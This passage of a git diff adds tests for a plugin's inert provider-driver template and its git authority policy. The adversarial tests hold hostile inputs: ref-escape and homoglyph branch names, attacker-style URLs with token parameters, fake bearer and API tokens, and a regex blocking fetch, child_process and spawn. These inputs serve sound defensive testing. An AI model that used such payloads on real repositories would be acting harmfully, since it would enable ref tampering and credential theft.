expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); + assert.equal(report.mode, 'dispatched'); + assert.equal(report.live_transport_qualification, false); +}); + +test('uncertain DSH dispatch never reports dispatched and never replays', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + const declaration = futureHarnessSupportedDeclarationV1('dsh'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatch_uncertain', + reconcile: 'terminal', + cancel: 'already_terminal', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'scripted-dsh', + declaration, + fixture, + expect: { launch_disposition: 'dispatch_uncertain' }, + }); + assert.equal(report.ok, true); + + const lying = createScriptedFutureHarnessDriverV1(fixture, { launch: 'dispatched' }); + assert.throws( + () => runFutureHarnessConformanceKitV1(lying, { + label: 'dsh-dispatched-lie', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }), + (error) => error instanceof RunContractV1Error + && error.code === 'capability_dispatch_certainty_mismatch', + ); +}); + +test('unsupported cancel and reattach fail closed on a dispatched scripted driver', () => { + const fixture = buildFutureHarnessFixtureV1('cursor-local'); + const declaration = futureHarnessFailClosedDeclarationV1('cursor-local'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'in_progress', + }); + const report = runFutureHarnessConformanceKitV1(driver, { + label: 'unsupported-local', + declaration, + fixture, + expect: { launch_disposition: 'dispatched' }, + }); + assert.equal(report.ok, true); +}); + +test('the kit rejects a driver that invents a reply operation', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + const driver = { + ...createFutureHarnessDriverTemplateV1(packed.options), + reply: () => ({}), + }; + assert.throws( + () => runFutureHarnessConformanceKitV1(driver, { + label: 'reply-inventor', + declaration: packed.options.declaration, + fixture: packed.fixture, + }), + (error) => error instanceof RunContractV1Error && error.code === 'invalid_surface', + ); +}); + +test('bound template and unbound template share the frozen caller identity', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.run_id, packed.fixture.identity.run_id); + assert.equal(launch.assignment_id, packed.fixture.identity.assignment_id); + assert.equal(launch.base_sha, packed.fixture.identity.base_sha); +}); + +test('scripted live_session_reply still has no reply method', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const declaration = futureHarnessSupportedDeclarationV1('grok'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + const driver = createScriptedFutureHarnessDriverV1(fixture, { + launch: 'dispatched', + reconcile: 'unresolved_attention', + cancel: 'cancel_requested', + }); + assert.equal(Object.hasOwn(driver, 'reply'), false); + const bound = bindProviderDriverV1(driver, declaration); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + const observe = bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)); + assert.equal(observe.disposition, 'unresolved_attention'); +}); diff --git a/plugins/codex-co-engineer/test/r1-future-harness.test.mjs b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs new file mode 100644 index 0000000..a14d530 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-future-harness.test.mjs @@ -0,0 +1,217 @@ +// Normal P22 future-harness template tests. The scaffold exposes the exact +// P17 DriverV1 surface, fails closed, and never substitutes caller identity. + +import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + FUTURE_HARNESS_FAIL_CLOSED_FEATURES, + bindFutureHarnessDriverTemplateV1, + createFutureHarnessDriverTemplateV1, + describeFutureHarnessDriverTemplateV1, + inspectFutureHarnessTemplateBindingV1, + validateFutureHarnessIdentityV1, +} from '../mcp/v3/future-harness.mjs'; +import { + DRIVER_OPERATIONS, + buildDriverOperationRequestV1, +} from '../mcp/v3/provider-driver.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + buildFutureHarnessFixtureV1, + futureHarnessFailClosedDeclarationV1, + futureHarnessTemplateOptionsV1, +} from './fixtures/r1-future-harness-conformance.mjs'; + +function expectCode(fn, code) { + assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code); +} + +function templateFor(provider = 'dsh') { + const packed = futureHarnessTemplateOptionsV1(provider); + return { + ...packed, + driver: createFutureHarnessDriverTemplateV1(packed.options), + bound: bindFutureHarnessDriverTemplateV1(packed.options), + }; +} + +test('the template describes an inert P17 surface with no transport', () => { + const description = describeFutureHarnessDriverTemplateV1(); + assert.deepEqual([...description.operations], [...DRIVER_OPERATIONS]); + assert.deepEqual([...description.transports], []); + assert.deepEqual([...description.relaunch_operations], []); + assert.equal(description.inert, true); + assert.equal(description.live_transport_qualification, false); + assert.deepEqual(description.fail_closed_features, FUTURE_HARNESS_FAIL_CLOSED_FEATURES); + assert.ok(Object.isFrozen(description)); +}); + +test('caller-supplied identities validate through P17 and freeze', () => { + const fixture = buildFutureHarnessFixtureV1('grok'); + const identity = validateFutureHarnessIdentityV1(fixture.identity); + assert.equal(identity.provider, 'grok'); + assert.equal(identity.model, 'grok-4'); + assert.equal(identity.request_id, fixture.identity.request_id); + assert.equal(identity.branch, fixture.identity.branch); + assert.ok(Object.isFrozen(identity)); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + provider: 'unknown-harness', + }), 'unknown_provider'); + expectCode(() => validateFutureHarnessIdentityV1({ + ...fixture.identity, + fallback: 'grok', + }), 'replay_or_fallback_denied'); +}); + +test('template construction requires identity and declaration and rejects extras', () => { + const packed = futureHarnessTemplateOptionsV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1(), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: packed.options.identity, + }), 'missing_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + transport: { spawn: true }, + }), 'unknown_key'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + credentials: { token: 'sk-leakedsecretvalue' }, + }), 'credential_content_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + ...packed.options, + create_pr: true, + }), 'merge_authority_denied'); + expectCode(() => createFutureHarnessDriverTemplateV1(new Proxy(packed.options, {})), + 'proxy_denied'); +}); + +test('the template exposes exactly the four P17 operations', () => { + const { driver } = templateFor('dsh'); + assert.deepEqual(Object.keys(driver).sort(), [...DRIVER_OPERATIONS].sort()); + for (const operation of DRIVER_OPERATIONS) { + assert.equal(typeof driver[operation], 'function'); + } + assert.ok(Object.isFrozen(driver)); +}); + +test('preflight is required before launch and launch never sends', () => { + const { bound, fixture } = templateFor('dsh'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)), + 'not_preflighted', + ); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + assert.equal(preflight.run_id, fixture.identity.run_id); + assert.equal(preflight.base_sha, fixture.identity.base_sha); + const launch = bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); + assert.equal(launch.detail_code, 'transport_unavailable'); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope)), + 'not_dispatched', + ); + expectCode( + () => bound.cancel(buildDriverOperationRequestV1('cancel', fixture.envelope)), + 'unsupported_capability', + ); +}); + +test('exact provider model workspace run request branch and base stay frozen', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-local'); + const mutableIdentity = { ...packed.fixture.identity }; + const driver = createFutureHarnessDriverTemplateV1({ + identity: mutableIdentity, + declaration: packed.options.declaration, + }); + mutableIdentity.model = 'substituted-model'; + mutableIdentity.branch = 'main'; + mutableIdentity.request_id = 'req-other'; + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + const binding = inspectFutureHarnessTemplateBindingV1(driver); + assert.equal(binding.identity.model, 'composer-1'); + assert.equal(binding.identity.branch, packed.fixture.identity.branch); + assert.equal(binding.identity.request_id, packed.fixture.identity.request_id); + assert.ok(Object.isFrozen(binding.identity)); +}); + +test('mismatched envelope identities fail closed and are never substituted', () => { + const packed = futureHarnessTemplateOptionsV1('grok'); + const other = buildFutureHarnessFixtureV1('dsh'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + expectCode( + () => bound.preflight(buildDriverOperationRequestV1('preflight', other.envelope)), + 'provider_slot_mismatch', + ); + const mutatedIdentity = { ...packed.fixture.identity, model: 'grok-code-fast-1' }; + const mismatched = createFutureHarnessDriverTemplateV1({ + identity: mutatedIdentity, + declaration: packed.options.declaration, + }); + expectCode( + () => mismatched.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)), + 'invalid_exact_model_selection', + ); +}); + +test('cursor-cloud template keeps the pinned starting SHA and never creates a PR', () => { + const packed = futureHarnessTemplateOptionsV1('cursor-cloud'); + assert.equal(packed.fixture.envelope.starting_ref, packed.fixture.identity.base_sha); + assert.equal(packed.options.declaration.capability.create_pr_posture, 'prohibited'); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'ready'); + const launch = bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)); + assert.equal(launch.disposition, 'not_sent'); +}); + +test('unattested exact-model posture blocks preflight', () => { + const packed = futureHarnessTemplateOptionsV1('dsh', { + exact_model_selection: 'exact_unattested', + }); + const bound = bindFutureHarnessDriverTemplateV1(packed.options); + const preflight = bound.preflight(buildDriverOperationRequestV1('preflight', packed.fixture.envelope)); + assert.equal(preflight.disposition, 'blocked'); + assert.equal(preflight.detail_code, 'model_unattested'); + expectCode( + () => bound.launch(buildDriverOperationRequestV1('launch', packed.fixture.envelope)), + 'blocked_lane_denied', + ); +}); + +test('unsupported cancel reattach and events fail closed after a possible send is still denied', () => { + const { bound, fixture } = templateFor('grok'); + bound.preflight(buildDriverOperationRequestV1('preflight', fixture.envelope)); + bound.launch(buildDriverOperationRequestV1('launch', fixture.envelope)); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + intent: 'restart_reattach', + })), + 'unsupported_capability', + ); + expectCode( + () => bound.reconcile(buildDriverOperationRequestV1('reconcile', fixture.envelope, { + include: ['detailed_events'], + })), + 'unsupported_capability', + ); +}); + +test('the template source stays inert: no clocks, random IDs, network, or processes', () => { + const source = readFileSync(fileURLToPath(new URL('../mcp/v3/provider-driver-template.mjs', import.meta.url)), 'utf8'); + assert.doesNotMatch(source, /Date\.now|performance\.now|Math\.random|randomUUID|setTimeout|setInterval|fetch\(|createConnection|child_process|spawn\(|execFile|net\.|http\.|https\.|process\.env/u); + assert.match(source, /No provider transport is configured/u); +}); + +test('provider/declaration workspace mismatch fails closed', () => { + const fixture = buildFutureHarnessFixtureV1('dsh'); + expectCode(() => createFutureHarnessDriverTemplateV1({ + identity: fixture.identity, + declaration: futureHarnessFailClosedDeclarationV1('grok'), + }), 'provider_slot_mismatch'); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs new file mode 100644 index 0000000..c60661b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority-adversarial.test.mjs @@ -0,0 +1,439 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; +import { types as utilTypes } from 'node:util'; + +import { + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + MAX_HISTORY_COMMITS, + MAX_REF_BYTES, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedLaneRefV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-resolver-fixtures.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + validIdentity, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + assert.equal(utilTypes.isProxy(error), false); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false); + assert.equal(text.includes('https://'), false); + for (const extra of extras) assert.equal(text.includes(extra), false, `leaked ${JSON.stringify(extra)}`); + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneRef = expectedLaneRefV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); + +test('parent-failing hostile policy probes deny namespace escape without echoing attacker bytes', () => { + const probes = [ + 'refs/heads/codex/run-abababababababab/../main', + 'refs/heads/main.lock', + 'refs/heads/foo@{bar}', + 'refs/heads/codex/run-abababababababab/lane-alpha/', + 'refs/heads/\uFF4D\uFF41\uFF49\uFF4E', + 'refs/heads/\u0430lpha', + 'refs/heads/codex/run-abababababababab/\u200Blane-alpha', + 'refs/heads/codex/run-ABABABABABABABAB/lane-alpha', + `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`, + 'refs/heads/codex/run-abababababababab/LANE-ALPHA', + 'heads/main', + 'refs/heads/codex/run-ab/lane-alpha', + ]; + for (const ref of probes) { + const classified = classifyRefV1({ ref, identity: validIdentity(), manifest_digest_hex: MANIFEST_DIGEST_HEX }); + assert.equal(classified.protected, true, ref); + assert.notEqual(classified.code, 'authority_ok', ref); + assertContentFree(classified, [ref, '/tmp', 'https://']); + const verdict = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref, + })); + assert.equal(verdict.verdict, 'denied'); + assertContentFree(verdict, [ref]); + assertContentFree(verdict.message, [ref]); + } +}); + +test('proxy accessor symbol and unknown-key inputs fail closed without running caller traps', () => { + const { proxy, counts } = countingProxy(operationRequest({ ref: laneRef })); + assert.equal(errorOf(() => classifyGitOperationV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const accessor = operationRequest({ ref: laneRef }); + Object.defineProperty(accessor, 'operation', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = errorOf(() => classifyGitOperationV1(accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const symbolKeyed = operationRequest({ ref: laneRef }); + symbolKeyed[Symbol('push')] = true; + assert.equal(errorOf(() => classifyGitOperationV1(symbolKeyed)).code, 'symbol_key_denied'); + + const unknown = operationRequest({ ref: laneRef, extra: true }); + assert.equal(errorOf(() => classifyGitOperationV1(unknown)).code, 'unknown_key'); +}); + +function assertPublicFailure(error, extras = []) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(utilTypes.isProxy(error), false); + assertContentFree(error, extras); + assertContentFree(error.path, extras); + assertContentFree(error.message, extras); + assert.equal(String(error.path).includes('TypeError'), false); + assert.equal(String(error.message).includes('TypeError'), false); +} + +function assertRejectedEvidence(action, extras = []) { + const error = errorOf(action); + assertPublicFailure(error, extras); + return error; +} + +function trustedReceipt(overrides = {}) { + return classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + history: { parent_counts: [1] }, + ...overrides, + })); +} + +function receiptLookalike(overrides = {}) { + return { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'worker', + operation: 'commit_on_lane_branch', + verdict: 'allowed', + code: 'authority_ok', + message: 'GitAuthorityPolicyV1 permits the requested git operation.', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + ...overrides, + }; +} + +test('forged missing wrong-schema wrong-identity and untrusted receipts cannot mint Git facts', () => { + const minted = trustedReceipt(); + const cases = [ + [{}, ['forged empty']], + [receiptLookalike(), ['caller constructed']], + [Object.freeze(receiptLookalike()), ['frozen constructed']], + [JSON.parse(JSON.stringify(minted)), ['json clone']], + [{ ...minted }, ['spread clone']], + [Object.freeze({ ...minted }), ['frozen clone']], + [receiptLookalike({ schema: 'codex-co-engineer.provider-result.v1' }), ['wrong schema']], + [receiptLookalike({ schema: GIT_AUTHORITY_SCHEMA_ID, version: 2 }), ['wrong version']], + ]; + for (const [forged] of cases) { + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(forged)); + assert.notEqual(error.code, 'authority_ok'); + } + + const missing = receiptLookalike(); + delete missing.schema; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(missing)).code, 'missing_key'); + + const wrongIdentity = [ + { run_id: 'https://evil.example/steal?token=secret' }, + { assignment_id: '../main' }, + { base_sha: 'not-a-sha' }, + { run_id: `run-${'a'.repeat(1_000_000)}` }, + { assignment_id: `lane-${'\u0000'.repeat(32)}` }, + { base_sha: `${'a'.repeat(1_000_000)}` }, + { run_id: 'run-\u0430lpha-01' }, + { assignment_id: 'lane/alpha' }, + { base_sha: 'A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6E7F8A9B0' }, + ]; + for (const override of wrongIdentity) { + const extras = Object.values(override).filter((value) => typeof value === 'string' && value.length < 200); + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras, + ); + assert.equal(error.code, 'authority_identity_invalid'); + } +}); + +test('provider report lookalikes and frozen caller receipts never become platform_git authority', () => { + const minted = trustedReceipt(); + const providerLookalikes = [ + { + schema: 'codex-co-engineer.provider-result.v1', + provider: 'grok', + model: 'grok-4', + status: 'succeeded', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + verdict: 'allowed', + code: 'authority_ok', + message: minted.message, + actor: 'worker', + operation: 'commit_on_lane_branch', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + version: GIT_AUTHORITY_VERSION, + }, + { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + provider: 'cursor-cloud', + create_pr: true, + verdict: 'allowed', + code: 'authority_ok', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + }, + ]; + for (const lookalike of providerLookalikes) { + const extras = ['grok-4', 'cursor-cloud', 'create_pr', 'provider-result']; + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(lookalike), extras); + assert.ok(error.code === 'unknown_key' || error.code === 'missing_key' || error.code === 'invalid_type' + || error.code === 'invalid_format', error.code); + } + const frozenCaller = Object.freeze({ ...minted }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(frozenCaller)).code, 'invalid_type'); +}); + +test('hostile oversized control Unicode path URL and credential identity values never emit', () => { + const hostile = [ + { run_id: 'https://attacker.example/hook' }, + { run_id: '/tmp/cce-r1-authority-repo' }, + { run_id: 'git@github.com:evil/repo.git' }, + { assignment_id: 'Bearer abc' }, + { assignment_id: 'secret-token' }, + { base_sha: 'https://example.invalid/repo.git' }, + { run_id: `run-${'\u0007'.repeat(8)}` }, + { assignment_id: 'lane-\u200Balpha' }, + { run_id: 'run-\uFF41lpha-01' }, + ]; + for (const override of hostile) { + const extras = [...Object.values(override), '/tmp', 'https://', 'secret-token', 'Bearer']; + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras.filter((value) => typeof value === 'string' && value.length > 0 && value.length < 200), + ); + assert.ok( + error.code === 'authority_identity_invalid' || error.code === 'invalid_type', + error.code, + ); + } +}); + +test('evidence context rejects null primitives functions accessors proxies extras and exotic shapes', () => { + const minted = trustedReceipt(); + const live = countingProxy({ fact_id: 'f-ok' }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const revoked = Proxy.revocable({ fact_id: 'f-ok' }, { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoked.revoke(); + const revokedError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, revoked.proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + + const accessor = {}; + Object.defineProperty(accessor, 'fact_id', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const hidden = { fact_id: 'f-ok' }; + Object.defineProperty(hidden, 'secret', { value: 'https://evil.example', enumerable: false }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, hidden), ['secret', 'https://evil.example']).code, 'unknown_key'); + + const symbolKeyed = { fact_id: 'f-ok' }; + symbolKeyed[Symbol('push')] = true; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, symbolKeyed)).code, 'symbol_key_denied'); + + const exotic = Object.assign(Object.create({ stolen: 'https://evil.example' }), { fact_id: 'f-ok' }); + const exoticError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, exotic), + ['stolen', 'https://evil.example'], + ); + assert.ok(['exotic_prototype_denied', 'invalid_type'].includes(exoticError.code), exoticError.code); + + const primitives = [null, 0, 1, false, true, '', 'https://evil.example', 1n, Symbol('ctx')]; + for (const context of primitives) { + const extras = typeof context === 'string' && context.length > 0 ? [context] : []; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, context), extras).code, 'invalid_type'); + } + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, () => 'https://evil.example')).code, 'invalid_type'); + const extraKey = { fact_id: 'f-ok', 'https://evil.example/x': true }; + const extraError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, extraKey), + ['https://evil.example/x'], + ); + assert.equal(extraError.code, 'unknown_key'); +}); + +test('unknown-key public failures redact attacker keys values paths URLs and credentials', () => { + const attackerKey = 'https://evil.example/steal?token=secret-token#/tmp/repo'; + const unknown = operationRequest({ ref: laneRef, [attackerKey]: true }); + const error = errorOf(() => classifyGitOperationV1(unknown)); + assert.equal(error.code, 'unknown_key'); + assertPublicFailure(error, [attackerKey, 'secret-token', 'https://', '/tmp/repo', 'evil.example']); + assert.equal(error.path.includes(attackerKey), false); + assert.equal(error.message.includes(attackerKey), false); + + const minted = trustedReceipt(); + const evidenceError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, { [attackerKey]: 1 }), + [attackerKey, 'secret-token'], + ); + assert.equal(evidenceError.code, 'unknown_key'); + assert.equal(evidenceError.path.includes(attackerKey), false); +}); + +test('trusted policy receipts keep immutable deny-lane decisions and content-free P13 facts', () => { + const allowed = trustedReceipt(); + const allowedEvidence = projectAuthorityEvidenceV1(allowed, { + fact_id: 'f-lane', discrepancy_id: 'd-lane', sequence: 4, + }); + assert.equal(allowedEvidence.facts[0].status, 'verified'); + assert.equal(allowedEvidence.facts[0].authority, 'platform_git'); + assert.equal(allowedEvidence.facts[0].run_id, RUN_ID); + assert.equal(allowedEvidence.facts[0].assignment_id, ASSIGNMENT_ID); + assert.equal(allowedEvidence.facts[0].payload.base_sha, BASE_SHA); + assert.equal(allowedEvidence.discrepancies.length, 0); + assertContentFree(allowedEvidence); + + const denied = classifyGitOperationV1(operationRequest({ operation: 'push' })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.code, 'push_authority_denied'); + const deniedEvidence = projectAuthorityEvidenceV1(denied); + assert.equal(deniedEvidence.facts[0].status, 'failed'); + assert.equal(deniedEvidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(deniedEvidence); + + const protectedTarget = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: 'refs/heads/main', + default_branch: 'main', + })); + assert.equal(protectedTarget.code, 'default_branch_target_denied'); + const protectedEvidence = projectAuthorityEvidenceV1(protectedTarget); + assert.equal(protectedEvidence.facts[0].method, 'protected_ref_snapshot_compare'); + assertContentFree(protectedEvidence); +}); + +test('credential URL and remote-mutation material cannot bind as identity', () => { + const cases = [ + { token: 'secret-token' }, + { authorization: 'Bearer abc' }, + { credentials: { password: 'x' } }, + { push_url: 'https://example.invalid/repo.git' }, + ]; + for (const extra of cases) { + const error = errorOf(() => bindAuthorityIdentityV1(validIdentity(extra))); + assert.ok( + error.code === 'credential_content_denied' || error.code === 'unknown_key' || error.code === 'merge_authority_denied', + extra, + ); + assertContentFree(error.message); + } + const urlPath = errorOf(() => bindAuthorityIdentityV1(validIdentity({ + repository_path: 'https://example.invalid/repo.git', + }))); + assert.equal(urlPath.code, 'authority_identity_invalid'); + assert.equal(urlPath.message.includes('https://'), false); +}); + +test('unknown operations capability lies and actor mismatches fail closed', () => { + assert.equal(errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'squash', + }))).code, 'unknown_git_operation'); + + const posture = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'commit_on_lane_branch', + ref: laneRef, + capability: { + merge_authority: 'provider_may_merge', + create_pr_posture: 'prohibited', + }, + }))); + assert.equal(posture.code, 'authority_posture_mismatch'); + + const cloudLocal = errorOf(() => classifyGitOperationV1(operationRequest({ + operation: 'read_only_inspect', + capability: { + merge_authority: 'none_codex_only_integration', + create_pr_posture: 'non_authoritative_cloud_only', + provider: 'grok', + }, + }))); + assert.equal(cloudLocal.code, 'authority_posture_mismatch'); + + const platformCommit = classifyGitOperationV1(operationRequest({ + actor: 'platform', + operation: 'commit_on_lane_branch', + ref: laneRef, + })); + assert.equal(platformCommit.code, 'authority_posture_mismatch'); +}); + +test('bounds abuse of history arrays refs and keys is rejected', () => { + const hugeHistory = classifyLaneHistoryV1; + const tooMany = Array.from({ length: MAX_HISTORY_COMMITS + 1 }, () => 1); + assert.equal(errorOf(() => hugeHistory({ parent_counts: tooMany })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [99] })).code, 'out_of_range'); + assert.equal(errorOf(() => hugeHistory({ parent_counts: [] })).code, 'out_of_range'); + + const longRef = `refs/heads/${'a'.repeat(MAX_REF_BYTES)}`; + const classified = classifyRefV1({ ref: longRef }); + assert.equal(classified.code, 'branch_namespace_violation'); + assertContentFree(classified, [longRef]); + + const bulky = operationRequest({ ref: laneRef }); + for (let i = 0; i < 40; i += 1) bulky[`k${i}`] = i; + assert.equal(errorOf(() => classifyGitOperationV1(bulky)).code, 'out_of_range'); +}); + +test('policy customization and evidence projection stay closed and content-free', () => { + const evidence = projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'f-push', discrepancy_id: 'd-push', sequence: 3 }); + assert.equal(evidence.facts[0].fact_id, 'f-push'); + assert.equal(evidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(evidence, ['refs/heads', 'https://', 'secret']); + assert.equal(errorOf(() => projectAuthorityEvidenceV1(classifyGitOperationV1(operationRequest({ + operation: 'push', + })), { fact_id: 'F-PUSH' })).code, 'invalid_format'); +}); diff --git a/plugins/codex-co-engineer/test/r1-git-authority.test.mjs b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs new file mode 100644 index 0000000..79cf921 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-git-authority.test.mjs @@ -0,0 +1,283 @@ +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { parseEvidenceDiscrepancyV1, parseVerifiedFactV1 } from '../mcp/v3/evidence-bundle.mjs'; +import { + GIT_AUTHORITY_POLICY_SCHEMA_ID, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + GitAuthorityPolicyV1, + assertAuthorityPostureV1, + bindAuthorityIdentityV1, + classifyGitOperationV1, + classifyLaneHistoryV1, + classifyRefV1, + expectedCandidateRefV1, + expectedLaneRefV1, + expectedRunBranchNameV1, + isProtectedRefV1, + isRunOwnedCandidateRefV1, + isValidRunBranchNameV1, + parseGitAuthorityPolicyV1, + projectAuthorityEvidenceV1, +} from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_ID, + BASE_SHA, + CONTENT_FREE, + MANIFEST_DIGEST_HEX, + RUN_ID, + operationRequest, + parentCounts, + validIdentity, + withDisposableRepo, + writeDefaultBranchTarget, + writeLinearHistory, + writeMergeHistory, + writeOctopusHistory, +} from './fixtures/r1-git-authority-fixtures.mjs'; + +function errorOf(action) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function assertContentFree(value, extras = []) { + const text = typeof value === 'string' ? value : JSON.stringify(value); + assert.equal(text.includes('/tmp'), false, 'must not leak repository paths'); + assert.equal(text.includes('https://'), false, 'must not leak URLs'); + assert.equal(text.includes('git@'), false, 'must not leak hosting URLs'); + for (const extra of extras) { + assert.equal(text.includes(extra), false, `must not echo ${extra}`); + } + const message = typeof value === 'string' ? value : value?.message; + if (typeof message === 'string') assert.match(message, CONTENT_FREE); +} + +const laneName = expectedRunBranchNameV1({ + run_id: RUN_ID, assignment_id: ASSIGNMENT_ID, manifest_digest_hex: MANIFEST_DIGEST_HEX, +}); +const 